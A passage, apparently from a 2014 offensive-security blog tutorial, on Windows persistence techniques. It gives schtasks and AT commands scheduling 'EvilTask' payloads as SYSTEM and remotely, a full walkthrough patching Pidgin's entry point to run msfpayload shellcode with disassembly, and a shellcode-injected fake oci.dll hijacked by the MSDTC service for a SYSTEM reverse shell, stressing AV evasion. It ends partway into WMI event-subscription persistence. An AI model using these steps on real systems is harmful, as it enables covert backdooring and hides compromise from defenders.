No password is stored. The task runs non-interactively as the given user. Only local resources are available. /Z Marks the task for deletion after its final run. /XML xmlfile Creates a task from the task XML specified in a file. Can be combined with /RU and /RP switches, or with /RP alone, when task XML already contains the principal. /V1 Creates a task visible to pre-Vista platforms. Not compatible with /XML. /F Forcefully creates the task and suppresses warnings if the specified task already exists. /RL level Sets the Run Level for the job. Valid values are LIMITED and HIGHEST. The default is LIMITED. /DELAY delaytime Specifies the wait time to delay the running of the task after the trigger is fired. The time format is mmmm:ss. This option is only valid for schedule types ONSTART, ONLOGON, ONEVENT. /? Displays this help message. Modifiers: Valid values for the /MO switch per schedule type: MINUTE: 1 - 1439 minutes. HOURLY: 1 - 23 hours. DAILY: 1 - 365 days. WEEKLY: weeks 1 - 52. ONCE: No modifiers. ONSTART: No modifiers. ONLOGON: No modifiers. ONIDLE: No modifiers. MONTHLY: 1 - 12, or FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY. ONEVENT: XPath event query string. Once you wrap your head round the syntax; creating, deleting and querying tasks is pretty straight forward. Take a look at the following example. This task will run Windows calculator every minute, forever, as the current user (Fubar). Very entertaining and annoying! C:\Windows\system32> schtasks /create /sc minute /mo 1 /tn "AnnoyingCalc" /tr C:\Windows\system32\calc.exe SUCCESS: The scheduled task "AnnoyingCalc" has successfully been created. C:\Windows\system32> schtasks /query /tn AnnoyingCalc /fo List /v Folder: \ HostName: WIN7-TESTBED TaskName: \AnnoyingCalc Next Run Time: 10/19/2014 12:36:00 AM Status: Ready Logon Mode: Interactive only Last Run Time: 10/19/2014 12:35:00 AM Last Result: 1 Author: Fubar Task To Run: C:\Windows\system32\calc.exe Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: Win7-Testbed\Fubar Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: One Time Only, Minute Start Time: 12:35:00 AM Start Date: 10/19/2014 End Date: N/A Days: N/A Months: N/A Repeat: Every: 0 Hour(s), 1 Minute(s) Repeat: Until: Time: None Repeat: Until: Duration: Disabled Repeat: Stop If Still Running: Disabled Popping Lots Of Calc To delete a task you only need to specify the taskname. C:\Windows\system32> schtasks /Delete /tn AnnoyingCalc WARNING: Are you sure you want to remove the task "AnnoyingCalc" (Y/N)? Y SUCCESS: The scheduled task "AnnoyingCalc" was successfully deleted. Clearly there is potential to abuse schtasks as an attacker. You can see several examples below to get an idea of the possibilities. # Runs a task daily at 8am. schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00 # Runs a task each time the user's session is idle for 5 minutes. schtasks /create /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onidle /i 5 # Runs a task, as SYSTEM, each time a user logs in. schtasks /create /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc onlogon # Runs a task on a remote machine, as SYSTEM, daily at 8am. schtasks /create /s RemoteMachine /u domain\user /p password /ru "NT AUTHORITY\SYSTEM" /rp "" /tn "EvilTask" /tr C:\Some\Evil\Task.exe /sc daily /st 08:00 If you need a more fine grained approach you can trigger tasks on highly specific Windows events. Doing so is a bit more labour intensive but it gives you unparalleled control over you task execution. The only caveat is that the target needs to have event logging enable for the event you want to target. You can piggyback the existing event loggers, but there does not seem to be a straight forward way to add custom events from the command line (it may be possible to import a custom event manifest but I have not tested this). If you have GUI access, custom events can be configured using gpedit.msc. A more detailed explanation can be found here. To demonstrate this we will schedule a task to run every time a user logs off the system (during a lunch-break for example). We can use wevtutil to query the various system event logs and publishers. C:\Windows\system32> wevtutil /? Windows Events Command Line Utility. Enables you to retrieve information about event logs and publishers, install and uninstall event manifests, run queries, and export, archive, and clear logs. Usage: You can use either the short (for example, ep /uni) or long (for example, enum-publishers /unicode) version of the command and option names. Commands, options and option values are not case-sensitive. Variables are noted in all upper-case. wevtutil COMMAND [ARGUMENT [ARGUMENT] ...] [/OPTION:VALUE [/OPTION:VALUE] ...] Commands: el | enum-logs List log names. gl | get-log Get log configuration information. sl | set-log Modify configuration of a log. ep | enum-publishers List event publishers. gp | get-publisher Get publisher configuration information. im | install-manifest Install event publishers and logs from manifest. um | uninstall-manifest Uninstall event publishers and logs from manifest. qe | query-events Query events from a log or log file. gli | get-log-info Get log status information. epl | export-log Export a log. al | archive-log Archive an exported log. cl | clear-log Clear a log. We can check the last recorded "User initiated Logoff" event by referencing the event channel (Security) and the event ID (4647). Please refer to the event-o-pedia for channel and event details. C:\Windows\system32> wevtutil qe Security /f:text /c:1 /q:"Event[system[(EventID=4647)]] Event[0]: Log Name: Security Source: Microsoft-Windows-Security-Auditing Date: 2014-09-13T21:05:54.339 Event ID: 4647 Task: Logoff Level: Information Opcode: Info Keyword: Audit Success User: N/A User Name: N/A Computer: Win7-Testbed Description: User initiated logoff: Subject: Security ID: S-1-5-21-2436999474-2994553960-2820488997-1001 Account Name: Fubar Account Domain: Win7-Testbed Logon ID: 0x14afc With this information in hand we can create a scheduled task. We will need to provide schtasks with the appropriate event channel and the XPath query string for the target event. C:\Windows\system32> schtasks /Create /TN OnLogOff /TR C:\Windows\system32\calc.exe /SC ONEVENT /EC Security /MO "*[system[(Level=4 or Level=0) and (EventID=4634)]]" SUCCESS: The scheduled task "OnLogOff" has successfully been created. C:\Windows\system32> schtasks /Query /tn OnLogOff /fo List /v Folder: \ HostName: WIN7-TESTBED TaskName: \OnLogOff Next Run Time: N/A Status: Ready Logon Mode: Interactive only Last Run Time: N/A Last Result: 1 Author: Fubar Task To Run: C:\Windows\system32\calc.exe Start In: N/A Comment: N/A Scheduled Task State: Enabled Idle Time: Disabled Power Management: Stop On Battery Mode, No Start On Batteries Run As User: Win7-Testbed\Fubar Delete Task If Not Rescheduled: Enabled Stop Task If Runs X Hours and X Mins: 72:00:00 Schedule: Scheduling data is not available in this format. Schedule Type: When an event occurs Start Time: N/A Start Date: N/A End Date: N/A Days: N/A Months: N/A Repeat: Every: N/A Repeat: Until: Time: N/A Repeat: Until: Duration: N/A Repeat: Stop If Still Running: N/A After logging off and logging back on we are greeted with windows calculator. Log-Off Calc! Event Viewer AT: The Windows AT command is sort of a second rate citizen compared to schtasks. It can also schedule tasks to run at specific times but does not have nearly as many configuration options. C:\Windows\system32> at /? The AT command schedules commands and programs to run on a computer at a specified time and date. The Schedule service must be running to use the AT command. AT [\\computername] [ [id] [/DELETE] | /DELETE [/YES]] AT [\\computername] time [/iNTERACTIVE] [ /EVERY:date[,...] | /NEXT:date[,...]] "command" \\computername Specifies a remote computer. Commands are scheduled on the local computer if this parameter is omitted. id Is an identification number assigned to a scheduled command. /delete Cancels a scheduled command. If id is omitted, all the scheduled commands on the computer are canceled. /yes Used with cancel all jobs command when no further confirmation is desired. time Specifies the time when command is to run. /interactive Allows the job to interact with the desktop of the user who is logged on at the time the job runs. /every:date[,...] Runs the command on each specified day(s) of the week or month. If date is omitted, the current day of the month is assumed. /next:date[,...] Runs the specified command on the next occurrence of the day (for example, next Thursday). If date is omitted, the current day of the month is assumed. "command" Is the Windows NT command, or batch program to be run. One thing to keep in mind is that the AT command always runs with SYSTEM level privileges. Several usage examples can be seen below. # Runs a batch file daily at 8am. at 08:00 /EVERY:m,t,w,th,f,s,su C:\Some\Evil\batch.bat # Runs a binary every Tuesday at 8am. at 08:00 /EVERY:t C:\Some\Evil\Task.exe # Runs a binary, only once, at 10pm. at 22:00 /NEXT: C:\Some\Evil\Task.exe # Runs a task on a remote machine, every 1st and 20th of the month, at 8am. at \\RemoteMachine 08:00 /EVERY:1,20 C:\Some\Evil\Task.exe Scheduled tasks can be listed by simple calling the AT command from the command line. Tasks can be deleted using the task ID. C:\Windows\system32> at 08:00 /EVERY:t C:\Some\Evil\Task.exe Added a new job with job ID = 1 C:\Windows\system32> at Status ID Day Time Command Line ------------------------------------------------------------------------------- 1 Each T 8:00 AM C:\Some\Evil\Task.exe # AT does not provide confirmation for task deletion. C:\Windows\system32> at 1 /delete [h=2]Process Resource Hooking[/h] The title for this section is used ad hoc. What we will really be looking at here are: (1) legitimate processes which are already run at boot/startup or (2) legitimate processes we can configure to run at boot/startup. After finding a suitable target we need to look at all the resources that program uses. If we can inject shellcode in one of those resources we will have achieved persistence. Already it should be clear that this technique is much more covert. Evidence of the persistence is not readily available, it is obscured by the legitimate process or service. In addition, AV detection will be non-existent as the shellcode is mixed in with legitimate code. One final thing to keep in mind is that modifying a signed resource will invalidate the signature. Case Study - Pidgin Instant Messenger: For our first example we will look at manually backdooring a PE executable. Let's say, after compromising a target, we discover that Pidgin (which is a popular chat program) is run at startup. In this case we can tell that Pidgin will automatically start on boot because it is in the windows startup folder. # The starup folder for the current user is empty. C:\> dir "C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\Users\Fubar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 09/13/2014 08:05 PM <DIR> . 09/13/2014 08:05 PM <DIR> .. 0 File(s) 0 bytes 2 Dir(s) 55,254,183,936 bytes free # The starup folder for all users contains a shortcut to Pidgin. C:\> dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 11/23/2014 01:09 AM <DIR> . 11/23/2014 01:09 AM <DIR> .. 11/23/2014 01:09 AM 1,328 pidgin.exe.lnk 1 File(s) 1,328 bytes 2 Dir(s) 55,254,183,936 bytes free Next we need to find out where the Pidgin binary is. C:\> dir /s pidgin.exe Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\Program Files\Pidgin 11/22/2014 11:00 PM 60,176 pidgin.exe 1 File(s) 60,176 bytes Total Files Listed: 1 File(s) 60,176 bytes 0 Dir(s) 55,249,006,592 bytes free C:\> dir "C:\Program Files\Pidgin\" Volume in drive C has no label. Volume Serial Number is CA24-B8EA Directory of C:\Program Files\Pidgin 11/23/2014 02:28 AM <DIR> . 11/23/2014 02:28 AM <DIR> .. 11/22/2014 08:17 PM <DIR> ca-certs 10/19/2014 09:40 PM 671,031 exchndl.dll 10/19/2014 09:40 PM 301,056 freebl3.dll 11/22/2014 08:17 PM <DIR> Gtk 10/19/2014 09:40 PM 417,758 libjabber.dll 10/19/2014 09:40 PM 152,852 libmeanwhile-1.dll 10/19/2014 09:40 PM 202,752 libnspr4.dll 10/19/2014 09:40 PM 311,021 liboscar.dll 10/19/2014 09:40 PM 15,872 libplc4.dll 10/19/2014 09:40 PM 14,336 libplds4.dll 10/19/2014 09:40 PM 845,433 libpurple.dll 10/19/2014 09:39 PM 190,464 libsasl.dll 10/19/2014 09:40 PM 2,097,721 libsilc-1-1-2.dll 10/19/2014 09:40 PM 818,985 libsilcclient-1-1-3.dll 10/19/2014 09:40 PM 36,878 libssp-0.dll 10/19/2014 09:39 PM 1,274,655 libxml2-2.dll 10/19/2014 09:40 PM 236,666 libymsg.dll 10/19/2014 09:40 PM 784,384 nss3.dll 10/19/2014 09:40 PM 113,152 nssutil3.dll 11/22/2014 08:17 PM <DIR> pidgin-2.10.10-dbgsym 11/22/2014 08:17 PM 104,965 pidgin-uninst.exe 10/19/2014 09:40 PM 1,157,795 pidgin.dll 11/22/2014 11:00 PM 60,176 pidgin.exe # Bingo! 11/22/2014 08:17 PM <DIR> pixmaps 11/22/2014 08:17 PM <DIR> plugins 11/22/2014 08:17 PM <DIR> sasl2 10/19/2014 09:40 PM 101,376 smime3.dll 10/19/2014 09:40 PM 174,080 softokn3.dll 11/22/2014 08:17 PM <DIR> sounds 11/22/2014 08:17 PM <DIR> spellcheck 10/19/2014 09:40 PM 486,400 sqlite3.dll 10/19/2014 09:40 PM 230,912 ssl3.dll 24 File(s) 10,800,720 bytes 10 Dir(s) 55,248,990,208 bytes free We could replace this binary with a backdoor, that way each time the system boots our malicious code would be run. However, doing so would be painfully obvious, Pidgin would not start and a closer investigation would immediately reveal our deception. Instead, we will (1) download the executable to our attacking machine, (2) inject our malicious code into the binary, (3) make sure it still works as intended and (4) replace it on the target machine. The resulting executable will be fully undetectable by AV and will not raise any undue suspicions as pidgin will still function normally. The necessary modification can be made using Immunity debugger (or Olly). First we will need to take note of pidgin's module entry point. The instructions there are the first thing the program will execute when it is launched. Next we need to find some empty space, large enough to store our shellcode. If you have ever taken a close look at PE executables you will know that there is a huge null-bytes padding at the end of each section (.text, .data, .rdata,..). In this case we can simply scroll down to the end of the ".text" section, the padding there will be a perfect location for our shellcode. The basic principle is pretty straight forward: (1) we need to modify the entry point to jump to the null-byte padding, (2) at the jump destination we inject our shellcode, (3) we fix any instructions we nuked at the entry point and hand the program control back over to the legitimate code. First lets modify the entry point to jump to our null-byte padding. If you compare the new entry point with the old one you will notice that several instructions have been messed up. We will see how to correct those later. Next we need to generate some shellcode which we can copy into the executable as our payload. As an aside, encoding the shellcode is not necessary, in fact doing so may cause issues when the decoder stub tries to unpack it. # grep & tr to strip out all unnecessary data. root@Josjikawa:~# msfpayload windows/exec cmd='calc' exitfunc='none' C |grep '"' |tr -d '"\\x;\n' fce8890000006089e531d2648b52308b520c8b52148b72280fb74a2631ff31c0ac3c617c022c20c1cf0d01c7e2f052578b52108b42 3c01d08b407885c0744a01d0508b48188b582001d3e33c498b348b01d631ff31c0acc1cf0d01c738e075f4037df83b7d2475e2588b 582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe0585f5a8b12eb865d6a018d85b90000005068318b6f87ff d5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300 This shellcode will require some minor modifications to run correctly. When the shellcode gets executed the epilogue will end up calling "ntdll.KiFastSystemCallRet" which will in turn terminate execution flow. Since we want to preserve the original program flow we will need to stop this from happening. The resulting shellcode in the debugger can be seen below. 0040391C 60 PUSHAD Save registry and flag values! 0040391D 9C PUSHFD 0040391E FC CLD 0040391F E8 89000000 CALL pidgin.004039AD 00403924 60 PUSHAD 00403925 89E5 MOV EBP,ESP 00403927 31D2 XOR EDX,EDX 00403929 64:8B52 30 MOV EDX,DWORD PTR FS:[EDX+30] 0040392D 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C] 00403930 8B52 14 MOV EDX,DWORD PTR DS:[EDX+14] 00403933 8B72 28 MOV ESI,DWORD PTR DS:[EDX+28] 00403936 0FB74A 26 MOVZX ECX,WORD PTR DS:[EDX+26] 0040393A 31FF XOR EDI,EDI 0040393C 31C0 XOR EAX,EAX 0040393E AC LODS BYTE PTR DS:[ESI] 0040393F 3C 61 CMP AL,61 00403941 7C 02 JL SHORT pidgin.00403945 00403943 2C 20 SUB AL,20 00403945 C1CF 0D ROR EDI,0D 00403948 01C7 ADD EDI,EAX 0040394A ^E2 F0 LOOPD SHORT pidgin.0040393C 0040394C 52 PUSH EDX 0040394D 57 PUSH EDI 0040394E 8B52 10 MOV EDX,DWORD PTR DS:[EDX+10] 00403951 8B42 3C MOV EAX,DWORD PTR DS:[EDX+3C] 00403954 01D0 ADD EAX,EDX 00403956 8B40 78 MOV EAX,DWORD PTR DS:[EAX+78] 00403959 85C0 TEST EAX,EAX 0040395B 74 4A JE SHORT pidgin.004039A7 0040395D 01D0 ADD EAX,EDX 0040395F 50 PUSH EAX 00403960 8B48 18 MOV ECX,DWORD PTR DS:[EAX+18] 00403963 8B58 20 MOV EBX,DWORD PTR DS:[EAX+20] 00403966 01D3 ADD EBX,EDX 00403968 E3 3C JECXZ SHORT pidgin.004039A6 0040396A 49 DEC ECX 0040396B 8B348B MOV ESI,DWORD PTR DS:[EBX+ECX*4] 0040396E 01D6 ADD ESI,EDX 00403970 31FF XOR EDI,EDI 00403972 31C0 XOR EAX,EAX 00403974 AC LODS BYTE PTR DS:[ESI] 00403975 C1CF 0D ROR EDI,0D 00403978 01C7 ADD EDI,EAX 0040397A 38E0 CMP AL,AH 0040397C ^75 F4 JNZ SHORT pidgin.00403972 0040397E 037D F8 ADD EDI,DWORD PTR SS:[EBP-8] 00403981 3B7D 24 CMP EDI,DWORD PTR SS:[EBP+24] 00403984 ^75 E2 JNZ SHORT pidgin.00403968 00403986 58 POP EAX 00403987 8B58 24 MOV EBX,DWORD PTR DS:[EAX+24] 0040398A 01D3 ADD EBX,EDX 0040398C 66:8B0C4B MOV CX,WORD PTR DS:[EBX+ECX*2] 00403990 8B58 1C MOV EBX,DWORD PTR DS:[EAX+1C] 00403993 01D3 ADD EBX,EDX 00403995 8B048B MOV EAX,DWORD PTR DS:[EBX+ECX*4] 00403998 01D0 ADD EAX,EDX 0040399A 894424 24 MOV DWORD PTR SS:[ESP+24],EAX 0040399E 5B POP EBX 0040399F 5B POP EBX 004039A0 61 POPAD 004039A1 59 POP ECX 004039A2 5A POP EDX 004039A3 51 PUSH ECX 004039A4 FFE0 JMP EAX 004039A6 58 POP EAX 004039A7 5F POP EDI 004039A8 5A POP EDX 004039A9 8B12 MOV EDX,DWORD PTR DS:[EDX] 004039AB ^EB 86 JMP SHORT pidgin.00403933 004039AD 5D POP EBP 004039AE 6A 01 PUSH 1 004039B0 8D85 B9000000 LEA EAX,DWORD PTR SS:[EBP+B9] 004039B6 50 PUSH EAX 004039B7 68 318B6F87 PUSH 876F8B31 004039BC FFD5 CALL EBP 004039BE EB 22 JMP SHORT pidgin.004039E2 ---| Hook the shellcode epilog before it ends up 004039C0 90 NOP | calling ntdll.KiFastSystemCallRet 004039C1 90 NOP | 004039C2 90 NOP | 004039C3 68 A695BD9D PUSH 9DBD95A6 | 004039C8 FFD5 CALL EBP | 004039CA 3C 06 CMP AL,6 | 004039CC 7C 0A JL SHORT pidgin.004039D8 | 004039CE 80FB E0 CMP BL,0E0 | 004039D1 75 05 JNZ SHORT pidgin.004039D8 | 004039D3 BB 4713726F MOV EBX,6F721347 | 004039D8 6A 00 PUSH 0 | 004039DA 53 PUSH EBX | 004039DB FFD5 CALL EBP | 004039DD 6361 6C ARPL WORD PTR DS:[ECX+6C],SP | 004039E0 6300 ARPL WORD PTR DS:[EAX],AX | 004039E2 9D POPFD <-----| Restore registry and flag values! ESP has 004039E3 61 POPAD not changed, else we would first need to add a static value to align the stack. Before we return execution flow to the module entry point we need to fix the instruction we nuked. Let's compare the module entry point before and after our modification. Original Module Entry Point: 004012A0 > $ 83EC 1C SUB ESP,1C # Nuked! 004012A3 . C70424 0200000>MOV DWORD PTR SS:[ESP],2 # Nuked! 004012AA . FF15 9C924000 CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>; msvcrt.__set_app_type # Fine! 004012B0 . E8 4BFDFFFF CALL pidgin.00401000 Modified Module Entry Point: 004012A0 > E9 77260000 JMP pidgin1.0040391C # JMP to our shellcode. 004012A5 90 NOP 004012A6 90 NOP 004012A7 90 NOP 004012A8 90 NOP 004012A9 90 NOP 004012AA . FF15 9C924000 CALL DWORD PTR DS:[<&msvcrt.__set_app_ty>; msvcrt.__set_app_type 004012B0 . E8 4BFDFFFF CALL pidgin1.00401000 All that remains is to append the nuked assembly to the end of our shellcode and jump back to the first untouched instruction at the module entry point. 004039E2 > 9D POPFD 004039E3 . 61 POPAD 004039E4 . 83EC 1C SUB ESP,1C # Instruction restored! 004039E7 . C70424 0200000>MOV DWORD PTR SS:[ESP],2 # Instruction restored! 004039EE .^E9 B7D8FFFF JMP pidgin.004012AA # JMP back to module entry point. We can now upload the file back to the target and overwrite the original executable. Any time Pidgin is launched, calc will also launch. Meanwhile, Pidgin will function normally, none of the original code has been modified! Pidgin Calc! Obviously this technique can be used to inject any kind of desirable shellcode. Case Study - MSDTC: Anyone who has ever inspected processes with Microsoft Sysinternals Procmon will have noticed that a lot of programs attempt to load resources that do not exist. Mainly there are two reasons for this: (1) the resource is optional and really doesn't exist or (2) the program does not have the absolute path for the resource and needs to traverse the search order. For this case study we will be looking at the "Distributed Transaction Coordinator" (MSDTC) Windows service. The MSDTC service is present on all Windows systems and is turned off 99% of the time. This is good from an attacker's perspective because we don't want to inadvertently break something which might draw attention to our presence. MSDTC is mostly required for database servers when they need to initiate transactions between multiple autonomous agents in a distributed system. As we can see from the screenshot below, simply starting MSDTC yields 303 "NAME NOT FOUND" entries (nonsensical, I know, but true). What we are specifically interested in here is "oci.dll". This dll is an example of a resource which is optional, it would only exist if the Windows machine was used to host an Oracle database. The MSDTC service checks if the dll exists, if it does it will load the dll otherwise it will simply continue with it's start-up routine. Again, the persistence vector is pretty straight forward. We will want to (1) create a dll that contains our malicious shellcode, (2) rename it to "oci.dll", (3) drop it in one of dll search paths obtained from Procmon and (4) configure the MSDTC service to start at boot. As in our first case study, we could generate a dll with metasploit but for stealth purposes it is much better to inject shellcode into a legitimate dll. Though the process of injecting code in a dll is marginally different a similar technique to the previous case study can be used. For brevity I will not cover the injection process here. This is a challenge I leave for the diligent reader to investigate. Since I did not have a legitimate version of "oci.dll" I chose a Microsoft dll as a base to inject my shellcode. Below we can see that the details tab of the properties window still shows the original file details. This dll, when executed, will open a reverse shell to the localhost on port 4444. We can test this by setting up a listener and manually staring the service. MSDTC SYSTEM shell After the dll has been dropped on the target machine (in C:\Windows\System32\) persistence cab be achieved by using sc to configure MSDTC to start on boot. C:\Windows\system32> sc qc msdtc [sC] QueryServiceConfig SUCCESS SERVICE_NAME: msdtc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 3 DEMAND_START # Needs to be started manually. ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\msdtc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Distributed Transaction Coordinator DEPENDENCIES : RPCSS : SamSS SERVICE_START_NAME : LocalSystem C:\Windows\system32> sc config msdtc start= auto [sC] ChangeServiceConfig SUCCESS C:\Windows\system32> sc qc msdtc [sC] QueryServiceConfig SUCCESS SERVICE_NAME: msdtc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START # Starts on boot. ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Windows\System32\msdtc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Distributed Transaction Coordinator DEPENDENCIES : RPCSS : SamSS SERVICE_START_NAME : LocalSystem [h=2]WMI Permanent Event Subscription // Managed Object Formats (MOF)[/h] This is, by far, my favourite method for persistence. If set up with care, it is very difficult to detect and even worse to remove. MOF's, in essence, are compiled scripts that describe Common Information Model (CIM) classes which are compiled into the WMI repository. I'm sure that sounds terribly convoluted, I have added a substantial list of links below to help clear things up (or confuse them further). As a method for persistence we will be creating a MOF which (1) listens for en event (or events) and (2) will take some action (or actions) when the event is triggered. Links: Get-WmiObject [Microsoft Technet] - here Remove-WmiObject [Microsoft Technet] - here WQL (SQL for WMI) [MSDN] - here Win32 Provider Classes [MSDN] - here Querying with WQL [MSDN] - here mofcomp [MSDN] - here About WMI [MSDN] - here WMI Tasks for Scripts and Applications [MSDN] - here Permanent WMI Event [Microsoft Technet] - here Creating WMI Permanent Event Subscriptions Using MOF [CondeProject] - here Distributed Management Task Force [DMTF] - here Premise: A MOF file must consist of (at least) the following three components: an __EventFilter which uses the WMI Query Language (WQL) to detect a specific event, an Event Consumer Class which defines a certain action and a __FilterToConsumerBinding which binds an event and an action together. Let's have a closer look at the various section of the MOF file. __EventFilter: The event filter class is used to hook/detect specific operating system events defined by a WQL statement. The basic structure of an event filter can be seen below. instance of __EventFilter as $EventFilter { Name = "Event Filter Name"; # Unique event name. EventNamespace = "Root\\Cimv2"; # Namespace for event instance. Query = "WQL-Query"; # WQL event query. QueryLanguage = "WQL"; # Only WQL is currently supported. }; Using WQL almost any hardware or operating system event can be set as and event trigger. I highly recommend that you take some time to review the Win32 Provider Classes to get an understanding of the scope of these events. As always, the best way to learn is to try to formulate some queries on your local host. In powershell the Get-WmiObject cmdlet can be used, in conjunction with the provided link, to get instances of WMI classes. The following example uses the Win32_CDROMDrive class to retrieve data about the installed CD-Rom drives. # Cursory information can be retrieved by only specifying the class name. PS C:\Windows\system32> Get-WmiObject -class Win32_CDROMDrive Caption Drive Manufacturer VolumeName ------- ----- ------------ ---------- DTSOFT Virtual CdRom Device F: (Standard CD-ROM drives) HL-DT-ST DVDRAM GT80N E: (Standard CD-ROM drives) # Using the ConfigManagerErrorCode property we can check if the drive is functioning normally. PS C:\Windows\system32> Get-WmiObject -query "select ConfigManagerErrorCode from Win32_CDROMDrive" __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ConfigManagerErrorCode : 0 # Status 0x0 = Device is working properly. PSComputerName : __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : ConfigManagerErrorCode : 0 # Status 0x0 = Device is working properly. PSComputerName : # Using the Capabilities property we can check capabilities of the device. PS C:\Windows\system32> Get-WmiObject -query "select Capabilities from Win32_CDROMDrive" __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : Capabilities : {3, 7} # 0x3 = Random Access, 0x7 = Supports Removable Media. PSComputerName : __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : Capabilities : {3, 4, 7} # 0x3 = Random Access, 0x4 = Supports PSComputerName : Writing, 0x7 = Supports Removable Media. # Using the MediaLoaded property we can check if the drive currently has a CD-Rom. PS C:\Windows\system32> Get-WmiObject -query "select MediaLoaded from Win32_CDROMDrive" __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : MediaLoaded : False # False = No CD-Rom in drive. PSComputerName : __GENUS : 2 __CLASS : Win32_CDROMDrive __SUPERCLASS : __DYNASTY : __RELPATH : __PROPERTY_COUNT : 1 __DERIVATION : {} __SERVER : __NAMESPACE : __PATH : MediaLoaded : True # True = CD-Rom in drive. PSComputerName : As an example could create a WQL event trigger which would wait for a CD-Rom to be inserted into a drive on the system. When the WQL query determins a CD-Rom drive has been inserted it will then trigger an action. The sample WQL query can been seen below. # Notice that we are checking for an instance modification where the value for "MediaLoaded" changes from "False" to "True". Query = "SELECT * FROM __InstanceModificationEvent Within 5" "Where TargetInstance Isa \"Win32_CDROMDrive\" " "And Targetinstance.MediaLoaded = \"True\" "; Lets have a look at a second example. In this case we will be querying Win32_NTLogEvent to retrieve instances from the Windows event log. Simply executing the following query will return a raw list of events. PS C:\Windows\system32> Get-WmiObject -class Win32_NTLogEvent The wash of information scrolling over the terminal won't be very useful, however using the EventCode parameter we can drill down into the event log and target whichever specific events we would like to listen for. In this case we would like to retrieve events for user accounts which successfully log on to the system. The relevant Event ID, in this case, is 4624. PS C:\Windows\system32> Get-WmiObject -query "select * from Win32_NTLogEvent where EventCode = '4624'" This query will still not be specific enough. The issues is that there are multiple types of logon events, we would only be interested in the Interactive Logon type (0x2). Consider the following logon events. Category : 12544 CategoryString : Logon EventCode : 4624 # EventID 4624 - An account was successfully logged on. EventIdentifier : 4624 TypeEvent : InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...} LogFile : Security # Part of the Security event channel. Message : An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name: WIN7-TESTBED$ Account Domain: WORKGROUP Logon ID: 0x3e7 Logon Type: 5 # Logon type 0x5 - A service was started by the Service Control Manager. New Logon: Security ID: S-1-5-18 Account Name: SYSTEM # Authenticated as SYSTEM. Account Domain: NT AUTHORITY Logon ID: 0x3e7 Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x20c Process Name: C:\Windows\System32\services.exe Network Information: Workstation Name: Source Network Address: - Source Port: - Detailed Authentication Information: Logon Process: Advapi Authentication Package: Negotiate Transited Services: - Package Name (NTLM only): - Key Length: 0 RecordNumber : 425 SourceName : Microsoft-Windows-Security-Auditing TimeGenerated : 20140914212049.157848-000 TimeWritten : 20140914212049.157848-000 Type : Audit Success UserName : Category : 12544 CategoryString : Logon EventCode : 4624 # EventID 4624 - An account was successfully logged on. EventIdentifier : 4624 TypeEvent : InsertionStrings : {S-1-5-18, WIN7-TESTBED$, WORKGROUP, 0x3e7...} LogFile : Security # Part of the Security event channel. Message : An account was successfully logged on. Subject: Security ID: S-1-5-18 Account Name: WIN7-TESTBED$ Account Domain: WORKGROUP Logon ID: 0x3e7 Logon Type: 2 # Logon type 0x2 - A user logged on to this computer. New Logon: Security ID: S-1-5-21-2436999474-2994553960-2820488997-1001 Account Name: Fubar # Authenticated as Fubar. Account Domain: Win7-Testbed Logon ID: 0x14ad4 Logon GUID: {00000000-0000-0000-0000-000000000000} Process Information: Process ID: 0x1ac Process Name: C:\Windows\System32\winlogon.exe Network Information: Workstation Name: WIN7-TESTBED Source Network Address: 127.0.0.1 Source Port: 0 Detailed Authentication Information: Logon Process: User32 Authentication Package: Negotiate Transited Services: - Package Name (NTLM only): - Key Length: 0 RecordNumber : 166 SourceName : Microsoft-Windows-Security-Auditing TimeGenerated : 20140913190526.048815-000 TimeWritten : 20140913190526.048815-000 Type : Audit Success UserName : In order to return only interactive logon's we can use the WQL like statement to match events using a pattern. After some experimentation I discovered that all interactive logon's have "User32" set as the "Logon Process" within the "Message" property. The following query should only match a successful user logon. PS 